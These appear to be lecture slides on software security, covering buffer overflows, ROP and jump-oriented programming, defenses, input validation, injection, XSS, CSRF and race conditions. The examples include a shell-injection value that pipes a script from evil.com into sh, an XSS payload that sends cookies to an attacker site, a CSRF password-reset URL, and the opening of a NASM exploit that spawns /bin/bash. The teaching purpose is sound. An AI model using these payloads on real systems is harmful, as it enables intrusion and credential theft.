x86 primer

• Registers:
  ▪ General: \texttt{eax ebx ecx edx edi esi}
  ▪ Stack: \texttt{esp ebp}
  ▪ Instruction pointer: \texttt{eip}

• Complex instruction set
  ▪ Instructions are variable-sized & unaligned

• Hardware-supported call stack
  ▪ \texttt{call / ret}
  ▪ Parameters on the stack, return value in \texttt{eax}

• Little-endian

• Assembly Dialects:
  ▪ I use Intel dialect (Destination first)
  ▪ Book uses AT&T dialect (Destination last, \%eax)

64-bit addendum:
1. \texttt{eax} → \texttt{rax}, etc.
2. Some 32/64-bit instruction flavors

\begin{verbatim}
mov eax, 5
mov [ebx], 6
add eax, edi
push eax
pop esi
call 0x12345678
ret
jmp 0x87654321
jmp eax
call eax
\end{verbatim}
What is a Buffer Overflow?

• Intent
  ▪ Arbitrary code execution
    • Spawn a remote shell or infect with worm/virus
  ▪ Denial of service

• Steps
  ▪ Inject attack code into buffer
  ▪ Redirect control flow to attack code
  ▪ Execute attack code
### Table 10.1

**A Brief History of Some Buffer Overflow Attacks**

<table>
<thead>
<tr>
<th>Year</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>1988</td>
<td>The Morris Internet Worm uses a buffer overflow exploit in &quot;fingerd&quot; as one of its attack mechanisms.</td>
</tr>
<tr>
<td>1995</td>
<td>A buffer overflow in NCSA httpd 1.3 was discovered and published on the Bugtraq mailing list by Thomas Lopatic.</td>
</tr>
<tr>
<td>1996</td>
<td>Aleph One published &quot;Smashing the Stack for Fun and Profit&quot; in <em>Phrack</em> magazine, giving a step by step introduction to exploiting stack-based buffer overflow vulnerabilities.</td>
</tr>
<tr>
<td>2001</td>
<td>The Code Red worm exploits a buffer overflow in Microsoft IIS 5.0.</td>
</tr>
<tr>
<td>2003</td>
<td>The Slammer worm exploits a buffer overflow in Microsoft SQL Server 2000.</td>
</tr>
<tr>
<td>2004</td>
<td>The Sasser worm exploits a buffer overflow in Microsoft Windows 2000/XP Local Security Authority Subsystem Service (LSASS).</td>
</tr>
</tbody>
</table>
int main(int argc, char *argv[]) {
    int valid = FALSE;
    char str1[8];
    char str2[8];

    next_tag(str1);
    gets(str2);
    if (strncmp(str1, str2, 8) == 0)
        valid = TRUE;
    printf("buffer1: str1(%s), str2(%s), valid(%d)\n", str1,
           str2, valid);
}

(a) Basic buffer overflow C code

(b) Basic buffer overflow example runs

Figure 10.1 Basic Buffer Overflow Example
<table>
<thead>
<tr>
<th>Memory Address</th>
<th>Before gets(str2)</th>
<th>After gets(str2)</th>
<th>Contains Value of</th>
</tr>
</thead>
<tbody>
<tr>
<td>. . .</td>
<td>. . .</td>
<td>. . .</td>
<td></td>
</tr>
<tr>
<td>bfffffff4</td>
<td>34fcffbf</td>
<td>34fcffbf</td>
<td>argv</td>
</tr>
<tr>
<td>4 . .</td>
<td>3 . .</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bfffffff0</td>
<td>01000000</td>
<td>01000000</td>
<td>argc</td>
</tr>
<tr>
<td>. . .</td>
<td>. . .</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bfffffffec</td>
<td>c6bd0340</td>
<td>c6bd0340</td>
<td>return addr</td>
</tr>
<tr>
<td>. . @</td>
<td>. . @</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bfffffff8</td>
<td>08fcffbf</td>
<td>08fcffbf</td>
<td>old base ptr</td>
</tr>
<tr>
<td>. . .</td>
<td>. . .</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bfffffff4</td>
<td>00000000</td>
<td>01000000</td>
<td>valid</td>
</tr>
<tr>
<td>. . .</td>
<td>. . .</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bfffffff0</td>
<td>80640140</td>
<td>00640140</td>
<td>str1[4-7]</td>
</tr>
<tr>
<td>. . @</td>
<td>. . @</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bfffffffdc</td>
<td>54001540</td>
<td>4e505554</td>
<td>str1[0-3]</td>
</tr>
<tr>
<td>T . . @</td>
<td>N P U T</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bfffffff8</td>
<td>53544152</td>
<td>42414449</td>
<td>str2[4-7]</td>
</tr>
<tr>
<td>S T A R</td>
<td>B A D I</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bfffffff4</td>
<td>00850408</td>
<td>4e505554</td>
<td>str2[0-3]</td>
</tr>
<tr>
<td>. . .</td>
<td>N P U T</td>
<td></td>
<td></td>
</tr>
<tr>
<td>bfffffff0</td>
<td>30561540</td>
<td>42414449</td>
<td>str2[0-3]</td>
</tr>
<tr>
<td>0 V . @</td>
<td>B A D I</td>
<td></td>
<td></td>
</tr>
<tr>
<td>. . .</td>
<td>. . .</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**Figure 10.2  Basic Buffer Overflow Stack Values**
Buffer Problem: Data overwrite

```c
int main(int argc, char *argv[]) {
    char passwd_ok = 0;
    char passwd[8];
    strcpy(passwd, argv[1]);
    if (strcmp(passwd, "niklas") == 0) {
        passwd_ok = 1;
    }
    if (passwd_ok) { ... }
}
```

Layout in memory:

- **passwd** buffer overflowed, overwriting **passwd_ok** flag
  - Any password accepted!
Another Example: Code injection via function pointer

```c
char buffer[100];
void (*func)(char*) = thisfunc;
strcpy(buffer, argv[1]);
func(buffer);
```

• Problems?
  ▪ Overwrite function pointer
    • Execute code arbitrary code in buffer
Stack Attacks:
Code injection via return address

• When a function is called...
  ▪ parameters are pushed on stack
  ▪ return address pushed on stack
  ▪ called function puts local variables on the stack

• Memory layout

• Problems?
  ▪ Return to address X which may execute arbitrary code
```c
#include <stdlib.h>
#include <stdio.h>

int main() {
    char name[1024];
    printf("What is your name? ");
    scanf("%s",name);
    printf("%s is cool.\n", name);

    return 0;
}
```
Demo – normal execution

```
$ ./cool
What is your name? Tyler
Tyler is cool.
```

```
```
Demo – exploit

```
$ ./cool < attack
What is your name? Ph... hpeed hpeed hpeed Phhinghomet hpeed hpeed hpeed hpeed
Ph... hpeed hpeed hpeed Phhinghomet hpeed hpeed hpeed hpeed

You clearly aren't cut out for C. How about I start you off on something more your speed...
```

```
--2010-09-22 11:40:00--  http://www.python.org/ftp/python/2.7/Python-2.7.tar.bz2
Resolving www.python.org... 82.94.164.162, 2001:888:2000:d::a2
Connecting to www.python.org|82.94.164.162|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 11735195 (11M) [application/x-bzip2]
Saving to: 'Python-2.7.tar.bz2'

100%[==========================================] 11,735,195 3.52M/s in 3.8s
2010-09-22 11:40:05 (2.97 MB/s) - 'Python-2.7.tar.bz2' saved [11735195/11735195]
```
How to write attacks

- Use NASM, an assembler:
  - Great for machine code and specifying data fields

<table>
<thead>
<tr>
<th>Buffer size</th>
<th>Attack code and filler</th>
<th>Local vars, Frame pointer</th>
<th>Return address</th>
</tr>
</thead>
</table>
| 1024        | %define buffer_size 1024
%define buffer_ptr 0xbffff2e4
%define extra 20

```assembly
; Pad out to rest of buffer size
times buffer_size-(\$-\$) db 'x'

; Overwrite frame pointer (multiple times to be safe)
times extra/4 dd buffer_ptr + buffer_size + extra + 4

; Overwrite return address of main function!
dd buffer_location
```
Attack code trickery

• Where to put strings? No data area!
• You often can't use certain bytes
  ▪ Overflowing a string copy? No nulls!
  ▪ Overflowing a scanf %s? No whitespace!
• Answer: use code!
• Example: make "ebx" point to string "hi folks":
  
  push "olks" ; 0x736b6c6f="olks"
  mov ebx, "hi f" ; 0x99df9698
  neg ebx ; 0x66206968="hi f"
  push ebx
  mov ebx, esp
Shellcode

- Code supplied by attacker
  - Often saved in buffer being overflowed
  - Traditionally transferred control to a user command-line interpreter (shell)

- Machine code
  - Specific to processor and operating system
  - Traditionally needed good assembly language skills to create
  - More recently a number of sites and tools have been developed that automate this process

- Metasploit Project
  - Provides useful information to people who perform penetration, IDS signature development, and exploit research
Figure 10.4 Program Loading into Process Memory
Stack vs. Heap vs. Global attacks

• Book acts like they’re different; they are not

Stack overflows

• Data attacks, e.g. “is_admin” variable
• Control attacks, e.g. function pointers, return addresses, etc.

Non-stack overflows: heap/static areas

• Data attacks, e.g. “is_admin” variable
• Control attacks, e.g. function pointers, etc.
### Table 10.2

Some Common Unsafe C Standard Library Routines

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>gets(char *str)</code></td>
<td>Read line from standard input into str</td>
</tr>
<tr>
<td><code>sprintf(char *str, char *format, ...)</code></td>
<td>Create str according to supplied format and variables</td>
</tr>
<tr>
<td><code>strcat(char *dest, char *src)</code></td>
<td>Append contents of string src to string dest</td>
</tr>
<tr>
<td><code>strcpy(char *dest, char *src)</code></td>
<td>Copy contents of string src to string dest</td>
</tr>
<tr>
<td><code>vsprintf(char *str, char *fmt, va_list ap)</code></td>
<td>Create str according to supplied format and variables</td>
</tr>
</tbody>
</table>

Better:

<table>
<thead>
<tr>
<th>Function</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>fgets(char *s, int size, FILE *stream)</code></td>
<td>Read line from standard input into str</td>
</tr>
<tr>
<td><code>snprintf(char *str, size_t size, const char *format, ...)</code></td>
<td>Create str according to supplied format and variables</td>
</tr>
<tr>
<td><code>strncat(char *dest, const char *src, size_t n)</code></td>
<td>Append contents of string src to string dest with length limit</td>
</tr>
<tr>
<td><code>strncpy(char *dest, const char *src, size_t n)</code></td>
<td>Copy contents of string src to string dest with length limit</td>
</tr>
<tr>
<td><code>vsnprintf(char *str, size_t size, const char *format, va_list ap)</code></td>
<td>Create str according to supplied format and variables</td>
</tr>
</tbody>
</table>

Also dangerous: all forms of `scanf` when used with unbounded `%s`!
Buffer Overflow Defenses

- Buffer overflows are widely exploited

Two broad defense approaches

Compile-time
- Aim to harden programs to resist attacks in new programs

Run-time
- Aim to detect and abort attacks in existing programs
Compile-Time Defenses: Programming Language

- Use a modern high-level language
  - Not vulnerable to buffer overflow attacks
  - Compiler enforces range checks and permissible operations on variables

<table>
<thead>
<tr>
<th>Disadvantages</th>
</tr>
</thead>
<tbody>
<tr>
<td>• Additional code must be executed at run time to impose checks</td>
</tr>
<tr>
<td>• Flexibility and safety comes at a cost in resource use</td>
</tr>
<tr>
<td>• Distance from the underlying machine language and architecture means that access to some instructions and hardware resources is lost</td>
</tr>
<tr>
<td>• Limits their usefulness in writing code, such as device drivers, that must interact with such resources</td>
</tr>
</tbody>
</table>
Compile-Time Defenses: Safe Coding Techniques

- C designers placed much more emphasis on space efficiency and performance considerations than on type safety
  - Assumed programmers would exercise due care in writing code
- Programmers need to inspect the code and rewrite any unsafe coding
  - An example of this is the OpenBSD project
- OpenBSD code base: audited for bad practices (including the operating system, standard libraries, and common utilities)
  - This has resulted in what is widely regarded as one of the safest operating systems in widespread use
int copy_buf(char *to, int pos, char *from, int len) 
{ 
    int i; 
    
    for (i=0; i<len; i++) { 
        to[pos] = from[i]; 
        pos++; 
    }
    return pos; 
}

(a) Unsafe byte copy

short read_chunk(FILE fil, char *to) 
{ 
    short len; 
    fread(&len, 2, 1, fil); ........................................... /* read length of binary data */ 
    fread(to, 1, len, fil); ........................................... /* read len bytes of binary data */
    return len; 
}

(b) Unsafe byte input

Figure 10.10 Examples of Unsafe C Code
Compile-Time Defenses: Language Extensions/Safe Libraries

• Handling dynamically allocated memory is more problematic because the size information is not available at compile time
  o Requires an extension and the use of library routines
    • Programs and libraries need to be recompiled
    • Likely to have problems with third-party applications

• Concern with C is use of unsafe standard library routines
  o One approach has been to replace these with safer variants
    • Libsafe is an example
    • Library is implemented as a dynamic library arranged to load before the existing standard libraries
Compile-Time Defenses: Stack Protection

- Add function entry and exit code to check stack for signs of corruption
- Use random canary
  - Value needs to be unpredictable
  - Should be different on different systems
- Stackshield and Return Address Defender (RAD)
  - GCC extensions that include additional function entry and exit code
    - Function entry writes a copy of the return address to a safe region of memory
    - Function exit code checks the return address in the stack frame against the saved copy
    - If change is found, aborts the program
Preventing Buffer Overflows

• Strategies
  ▪ Detect and remove vulnerabilities (best)
  ▪ Prevent code injection
  ▪ Detect code injection
  ▪ Prevent code execution

• Stages of intervention
  ▪ Analyzing and compiling code
  ▪ Linking objects into executable
  ▪ Loading executable into memory
  ▪ Running executable
Run-Time Defenses: Guard Pages

• Place guard pages between critical regions of memory
  o Flagged in MMU as illegal addresses
  o Any attempted access aborts process

• Further extension places guard pages between stack frames and heap buffers
  o Cost in execution time to support the large number of page mappings necessary
W^X and ASLR

- **W^X**
  - Make code read-only and executable
  - Make data read-write and non-executable

- **ASLR: Randomize memory region locations**
  - Stack: subtract large value
  - Heap: allocate large block
  - DLLs: link with dummy lib
  - Code/static data: convert to shared lib, or re-link at different address
  - Makes absolute address-dependent attacks harder

[kernel space]

[stack]

[shared library]

[heap]

[bss]

[static data]

[code]
Doesn't that solve everything?

- PaX: Linux implementation of ASLR & W^X
- Actual title slide from a PaX talk in 2003:

PaX
(http://pageexec.virtualave.net)

The Guaranteed End of Arbitrary Code Execution
Negating ASLR

- ASLR is a probabilistic approach, merely increases attacker’s expected work
  - Each failed attempt results in crash; at restart, randomization is different
- Counters:
  - Information leakage
    - Program reveals a pointer? Game over.
  - Derandomization attack [1]
    - Just keep trying!
    - 32-bit ASLR defeated in 216 seconds

Negating $W^X$

- Question: do we need malicious **code** to have malicious **behavior**?

No.

<table>
<thead>
<tr>
<th>Argument 2</th>
<th>Argument 1</th>
</tr>
</thead>
<tbody>
<tr>
<td>Address of attack code</td>
<td>RA</td>
</tr>
<tr>
<td>Frame pointer</td>
<td>Attack code (launch a shell)</td>
</tr>
<tr>
<td>Locals</td>
<td>Code injection</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Argument 2</th>
<th>Argument 1</th>
</tr>
</thead>
<tbody>
<tr>
<td><em>/bin/sh</em></td>
<td>RA</td>
</tr>
<tr>
<td>Frame pointer</td>
<td>Padding</td>
</tr>
<tr>
<td>Buffer</td>
<td>Code reuse (!)</td>
</tr>
</tbody>
</table>

"Return-into-libc" attack
Return-into-libc

• Return-into-libc attack
  ▪ Execute entire libc functions
  ▪ Can chain using “esp lifters”
  ▪ Attacker may:
    • Use system/exec to run a shell
    • Use mprotect/mmap to disable W^X
    • Anything else you can do with libc
  ▪ Straight-line code only?
    • Shown to be false by us, but that's another talk...
Arbitrary behavior with $W^X$?

• Question: do we need malicious code to have arbitrary malicious behavior?  
  No.

• Return-oriented programming (ROP)

• Chain together gadgets: tiny snippets of code ending in `ret`
• Achieves Turing completeness
• Demonstrated on x86, SPARC, ARM, z80, ...
  ▪ Including on a deployed voting machine, which has a non-modifiable ROM
  ▪ Recently! New remote exploit on Apple Quicktime\(^1\)

Return-oriented programming (ROP)

- Normal software:

- Return-oriented program:

Figures taken from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Some common ROP operations

- **Loading constants**
  - `pop eax; ret`
  - `0x55555555`

- **Arithmetic**
  - `add eax, ebx; ret`

- **Control flow**
  - `pop esp; ret`
  - `...`

- **Memory**
  - `pop eax; ret`
  - `mov ebx, [eax]; ret`
  - `0x8070abcd`

Figures adapted from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Bringing it all together

- Shellcode
  - Zeroes part of memory
  - Sets registers
  - Does execve syscall

Figure taken from "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Shacham
Defenses against ROP

• ROP attacks rely on the stack in a unique way
• Researchers built defenses based on this:
  
  ▪ ROPdefender\(^1\) and others: maintain a shadow stack
  ▪ DROP\(^2\) and DynIMA\(^3\): detect high frequency `rets`
  ▪ Returnless\(^4\): Systematically eliminate all `rets`

• So now we're totally safe forever, right?
• **No**: code-reuse attacks need not be limited to the stack and `ret`!
  
  ▪ See “Jump-oriented programming: a new class of code-reuse attack” by Bletsch et al. (covered in this deck if you’re curious)
Software security in general
Software Security, Quality and Reliability

- Software quality and reliability:
  - Concerned with the accidental failure of program as a result of some theoretically random, unanticipated input, system interaction, or use of incorrect code
  - Improve using structured design and testing to identify and eliminate as many bugs as possible from a program
  - Concern is not how many bugs, but how often they are triggered

- Software security:
  - Attacker chooses probability distribution, specifically targeting bugs that result in a failure that can be exploited by the attacker
  - Triggered by inputs that differ dramatically from what is usually expected
  - Unlikely to be identified by common testing approaches

Defending against idiots

Defending against attackers
Defensive Programming

- Programmers often make assumptions about the type of inputs a program will receive and the environment it executes in
  - Assumptions need to be validated by the program and all potential failures handled gracefully and safely

- Requires a changed mindset to traditional programming practices
  - Programmers have to understand how failures can occur and the steps needed to reduce the chance of them occurring in their programs

- Conflicts with business pressures to keep development times as short as possible to maximize market advantage

Developar giev profits 4 me!!!
Secure-by-design vs. duct tape

• Security a consideration **from the start**
• Security woven into **each** component

**Good**

- No access restriction on host, just coarse limits on network access
- No firewall, but “it’s encrypted”
- Obsolete unsupported software w/o updates, but “it’s firewalled”

**Bad**

- No access limits from middleware because “it’s firewalled”
- “Temporary” admin access
Security runs through everything

- Can’t have a separate team that “does software security”
  - They never get the power they need
  - They don’t write the code that will be broken
  - Security is an emergent property; can’t be added from outside

- Everyone developing a product must understand basic security concepts
  - Security team is there to test, advise, and provide training, not “add in the security”
What to do when you walk into a security mess
Fixing a mess: psychological steps

- If you don’t have **buy-in from top leadership**, **YOU WILL PROBABLY FAIL**
  - Fight for the support you need (see next slide)
  - If you can’t get it, consider leaving the company
  - The saddest people I’ve known are security experts at insecure companies...they pretty much just log the existence of timebombs they don’t get to defuse.

- Acknowledge that:
  - It will be painful
  - Yes, adding security takes time away from feature work
  - Devs may have to **change their way of thinking**
  - There is a **trade-off** between security and usability

- Keep everyone remembering the **concrete real risks**
Fixing a mess: psychological steps: 
How to convince an executive

• Words to use:
  - **Cost to fix vs. cost if unfixed**
  - Likelihood of risk & severity of risk
  - Cost to fix:
    • Human time
    • Opportunity cost of foregoing other features/fixes
  - Cost if unfixed:
    • Downtime
    • Loss of customer data
    • Damage to reputation
    • Actions of criminal attackers
    • Civil liability
    • Loss of sales
  - Trade-off against feature development and time-to-market

• Words to avoid:
  - Anything involving computers

• If things are very toxic:
  - Negligence
  - Duty to report
  - Ethics board

The executive mindset: 
Maximize dollars

Change in dollars if we do X?
• Change in revenue
• Change in costs
• Opportunity cost
**Fixing a mess: technical steps**

**Low-hanging fruit:** Turn on and configure security features already available, and turn off dumb stuff:

- Use host-based firewalls
- Turn on encryption on protocols that support it (e.g. HTTP->HTTPS)
- Disable/uninstall unnecessary services
- Tighten permissions on all inter-communicating components (e.g. “your app doesn’t have to log into the database as root”)
- Install relevant security tools from elsewhere in the course (e.g. host/net-based IDS/IPS)
- Ensure there are no “fixed” passwords (e.g. every install of this app logs into its database with the password ‘9SIALfpY58jg’)
Fixing processes:

• Make the build process smart and automated (if it isn’t already)
  ▪ Code analysis tools (e.g. lint, style checker, etc.)
  ▪ Automated testing (e.g. nightly build tests)
• Team dedicated to security test development and auditing
  ▪ Separate from the main developers!
• Code reviews (fine grained, in-team)
• Code audits (coarse grained, separate team)
• Bad practice ratchets:
  ▪ Yes there are 33 instances of strcpy() in the code, but there shall not be a single one more!
  ▪ Enforce with automated code analysis at check-in
  ▪ Cause code check-ins that violate the ratchet to FAIL – code literally doesn’t commit!
  ▪ You must also have a team refactor the existing bad practices
    • Yes this could break old gnarly critical code, TOO BAD, that’s where the vulnerabilities are likeliest!
Fixing a mess: technical steps

Identifying specific flaws:

- Pen testing/code audit
  - If getting a contractor, research a ton and spend *real money*
    - Idiot security auditors are extremely common
- Short-term bug bounty
  - Why not long term? Because developers will start getting sloppy to generate bounties

Long-term re-architecting:

- Redesign the product in accordance with the principles of this course
- Phase in the changes over time
- Tie these changes to feature improvements to prevent them being cut by future short-sightedness
Specific software security practices
Handling input

• Identify all data sources
• Treat all input as dangerous
  ▪ Explicitly **validate assumptions** on size and type of values before use
    • Numbers in **range**? Integer overflow? Negatives? Floating point effects?
    • Input not **too large**? Buffer overflow? Unbounded resource allocation?
    • Text input includes **non-text characters**?
  • **Unicode vs ASCII issues**?
    ▪ Unicode has invisible characters, text-direction changing characters, and more! Also, what about stupid emojis????
  • Any “**special**” **characters**? The need for quoting/escaping...
    ▪ For files, is **directory traversal** allowed (../../thing)?
      – Common bug in web apps: ask for ../../../etc/passwd or similar
    ▪ Danger of **injection attacks** (next slide)
Injection attacks

- When input is used in some form of code.
- Examples:
  - SQL injection ("SELECT FROM mydata WHERE X=$input")
    - $input = "; DROP TABLE mydata"
  - Shell injection ("whois –H $domain")
    - $domain = "; curl http://evil.com/script | sh"
  - Javascript injection ("Welcome, $name!")
    - $name = "<script>send_cookie_to_evil_domain();</script>"
- Solutions:
  - Escape special characters (e.g. ‘;’, ‘<’, etc.)
    - Used tested library function to do this – don’t guess!!
  - For SQL: Use prepared statements
    - SQL integration library fills in variables instead of you doing it
  - Better solution for SQL: Use a Object-Relational Mapping
    - Library generates all SQL, no chance for an injection vulnerability
Validating Input Syntax

• It is necessary to ensure that data conform with any assumptions made about the data before subsequent use.

• Input data should be compared against what is wanted (WHITE LIST)

  ^ Yes, this is reasonable.

• Alternative is to compare the input data with known dangerous values (BLACK LIST)

  ^ No, bad text book! This is dumb!

Use regular expressions for this!!
Input Fuzzing

- Developed by Professor Barton Miller at the University of Wisconsin Madison in 1989
- Software testing technique that uses randomly generated data as inputs to a program
  - Range of inputs is very large
  - Intent is to determine if the program or function correctly handles abnormal inputs
  - Simple, free of assumptions, cheap
  - Assists with reliability as well as security
- Can also use templates to generate classes of known problem inputs
  - Disadvantage is that bugs triggered by other forms of input would be missed
  - Combination of approaches is needed for reasonably comprehensive coverage of the inputs
Cross Site Scripting (XSS) Attacks

• Attacks where input provided by one user is subsequently output to another user

• Common in scripted Web applications
  o Inclusion of script code in the HTML content
  o Script code may need to access data associated with other pages
  o Browsers impose security checks and restrict data access to pages originating from the same site

• Exploit assumption that all content from one site is equally trusted and hence is permitted to interact with other content from the site

• XSS reflection vulnerability
  o Attacker includes the malicious script content in data supplied to a site
Thanks for this information, its great!
<script>document.location='http://hacker.web.site/cookie.cgi?'+document.cookie</script>

(a) Plain XSS example

Thanks for this information, its great!
&#60;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#62;&amp;#100;&amp;#111;&amp;#99;&amp;#117;&amp;#109;&amp;#101;&amp;#110;&amp;#116;&amp;#46;&amp;#108;&amp;#111;&amp;#99;&amp;#97;&amp;#116;&amp;#105;&amp;#111;&amp;#110;&amp;#61;&amp;#39;&amp;#104;&amp;#116;&amp;#112;&amp;#58;&amp;#47;&amp;#47;&amp;#104;&amp;#97;&amp;#99;&amp;#107;&amp;#101;&amp;#114;&amp;#46;&amp;#119;&amp;#101;&amp;#98;&amp;#46;&amp;#115;&amp;#105;&amp;#116;&amp;#101;&amp;#47;&amp;#99;&amp;#111;&amp;#107;&amp;#105;&amp;#101;&amp;#46;&amp;#99;&amp;#103;&amp;#105;&amp;#63;&amp;#39;&amp;#43;&amp;#100;&amp;#111;&amp;#99;&amp;#117;&amp;#109;&amp;#101;&amp;#110;&amp;#116;&amp;#46;&amp;#99;&amp;#111;&amp;#107;&amp;#105;&amp;#101;&amp;#60;&amp;#47;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#116;&amp;#62;

(b) Encoded XSS example

Figure 11.5 XSS Example
Cross-Site Request Forgery (CSRF)

• In HTTP, the ‘GET’ transaction should not have side effects. Per RFC 2616:
  “In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered "safe".”

• When a web app has a GET request that has a side effect, anyone can link to it! Then...
  ▪ Victim user follows link
  ▪ Targeted site identifies victim user by cookie and assumes user intends to do the action expressed by the link

• Example from uTorrent client: Change admin password
  http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

Adapted from https://en.wikipedia.org/wiki/Cross-site_request_forgery
Race condition

- Exploit multi-processing to take advantage of transient states in code
- Common example: **Time Of Check to Time Of Use bug (TOCTOU)**

<table>
<thead>
<tr>
<th>Victim</th>
<th>Attacker</th>
</tr>
</thead>
<tbody>
<tr>
<td>if (access(&quot;file&quot;, W_OK) != 0) { exit(1); }</td>
<td>//</td>
</tr>
<tr>
<td>fd = open(&quot;file&quot;, O_WRONLY);</td>
<td>// After the access check</td>
</tr>
<tr>
<td>// Actually writing over /etc/passwd</td>
<td>write(fd, buffer, sizeof(buffer)); // Before the open, &quot;file&quot; points to the password database</td>
</tr>
</tbody>
</table>

- **How to exploit**: try a lot very fast, use debug facilities, etc.
- **Solutions**: Locking, transaction-based systems, drop privilege as needed

Environment variables

• Control a LOT of things implicitly
  ▪ Examples:
    • PATH sets where named binaries are located
    • LD_PRELOAD forces a shared library to load no matter what, allowing overrides of standard functions (e.g. open/close/read/write)
    • HOME sets where the home directory is, so things writing to ~/whatever can be made to write elsewhere
    • IFS sets what characters are allowed to separate words in a command (wow, that’s tricky!)

• Need to make sure attacker can’t change, especially when escalating privilege.
  ▪ Example: If I have a legitimate setuid-root binary, but I can set PATH to my directory, then if that binary runs a program by name, it could be my version!

• Solution: Drop all environment and set manually during privilege escalation process
  ▪ See here for more.
#!/bin/bash
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs

(a) Example vulnerable privileged shell script

#!/bin/bash
PATH="/sbin:/bin:/usr/sbin:/usr/bin"
export PATH
user=`echo $1 | sed 's/@.*$//'`
grep $user /var/local/accounts/ipaddrs

^ Can still exploit IFS variable (e.g. make it include '=' so the PATH change doesn't happen)

(b) Still vulnerable privileged shell script

Figure 11.6 Vulnerable Shell Scripts
Use of Least Privilege

- **Privilege escalation**
  - Exploit of flaws may give attacker greater privileges

- **Least privilege**
  - Run programs with least privilege needed to complete their function

- Determine appropriate user and group privileges required
  - Decide whether to grant extra user or just group privileges

- Ensure that privileged program can modify only those files and directories necessary
Software security miscellany

• #1: Error check ALL calls, even ones you think “can’t” fail
• All code paths must be planned for!
• Avoid information leakage (especially in debug output!)
• Be wary of “serialization” (conversion of data structures to streams)
  ▪ If data can include code (e.g. classes), bad input can yield arbitrary code
  ▪ Tons of reported bugs in serialization.
    • Java now considers the Serializable interface to have been a mistake!
• Consider ‘weird’ versions of common things:
  ▪ Weird files: FIFOs, device files, symlinks!
  ▪ Weird URLs: URLs can include any scheme, including the ‘data’ schema that embeds the content right in the URL
  ▪ Weird text: E.g., Unicode with all its extended abilities
  ▪ Weird settings: Can make normal environments act in surprising ways (e.g. changing IFS)
Backup slides:
My past research on code reuse attacks

“Jump-oriented Programming” (JOP)
Defenses against ROP

• ROP attacks rely on the stack in a unique way
• Researchers built defenses based on this:
  – ROPdefender\(^1\) and others: maintain a shadow stack
  – DROP\(^2\) and DynIMA\(^3\): detect high frequency \texttt{rets}
  – Returnless\(^4\): Systematically eliminate all \texttt{rets}

• So now we're totally safe forever, right?
• \textbf{No}: code-reuse attacks need not be limited to the stack and \texttt{ret}!
  – My research follows...
Jump-oriented programming (JOP)

• Instead of `ret`, use indirect jumps, e.g., `jmp eax`

• How to maintain control flow?
The dispatcher in depth

- Dispatcher gadget implements:
  \[ pc = f(pc) \]
  \[ \text{goto } *pc \]

- \( f \) can be anything that evolves \( pc \) predictably
  - Arithmetic: \( f(pc) = pc+4 \)
  - Memory based: \( f(pc) = *(pc+4) \)
Availability of indirect jumps (1)

- Can use `jmp` or `call` (don't care about the stack)
- When would we expect to see indirect jumps?
  - Function pointers, some switch/case blocks, ...?
- That's not many...

![Frequency of control flow transfers instructions in glibc](chart.png)
Availability of indirect jumps (2)

- However: x86 instructions are **unaligned**
- We can find **unintended** code by jumping into the middle of a regular instruction!

```
add ebx, 0x10ff2a
```

Very common, since they start with 0xFF, e.g.

-1 = 0xFFFFFFFF

-1000000 = 0xFFFF0BDC0
Finding gadgets

• Cannot use traditional disassembly,
  – Instead, as in ROP, scan & walk backwards
  – We find 31,136 potential gadgets in libc!

• Apply heuristics to find certain kinds of gadget

• Pick one that meets these requirements:
  – **Internal integrity:**
    • Gadget must not destroy its own jump target.
  – **Composability:**
    • Gadgets must not destroy subsequent gadgets' jump targets.
Finding dispatcher gadgets

• Dispatcher heuristic:
  – The gadget must act upon its own jump target register
  – Opcode can't be useless, e.g.: `inc`, `xchg`, `xor`, etc.
  – Opcodes that overwrite the register (e.g. `mov`) instead of modifying it (e.g. `add`) must be self-referential
    • `lea edx, [eax+ebx]` isn't going to advance anything
    • `lea edx, [edx+esi]` could work

• Find a dispatcher that uses uncommon registers
  `add ebp, edi`
  `jmp [ebp-0x39]`

• Functional gadgets found with similar heuristics
Developing a practical attack

• Built on Debian Linux 5.0.4 32-bit x86
  – Relies solely on the included libc

• Availability of gadgets (31,136 total): **PLENTY**
  – Dispatcher: 35 candidates
  – Load constant: 60 pop gadgets
  – Math/logic: 221 add, 129 sub, 112 or, 1191 xor, etc.
  – Memory: 150 mov loaders, 33 mov storers (and more)
  – Conditional branch: 333 short adc/sbb gadgets
  – Syscall: multiple gadget sequences
The vulnerable program

• Vulnerabilities
  – String overflow
  – Other buffer overflow
  – String format bug

• Targets
  – Return address
  – Function pointer
  – C++ Vtable
  – Setjmp buffer
    • Used for non-local gotos
    • Sets several registers, including esp and eip
The exploit code (high level)

• Shellcode: launches /bin/bash

• Constructed in NASM (data declarations only)

• 10 gadgets which will:
  – Write null bytes into the attack buffer where needed
  – Prepare and execute an execve syscall

• Get a shell without exploiting a single ret:
The full exploit (1)

```
1  start:               
2  ; Constants:          
3  libc:  equ 0xb7e7f000 ; Base address of libc in memory  
4  base:  equ 0x0804a008 ; Address where this buffer is loaded  
5  base_mangled:  equ 0x1d4011ee ; 0x0804a008 = mangled address of this buffer  
6  initializer_mangled:  equ 0xc43ef491 ; 0xb7e81f7a = mangled address of initializer gadget  
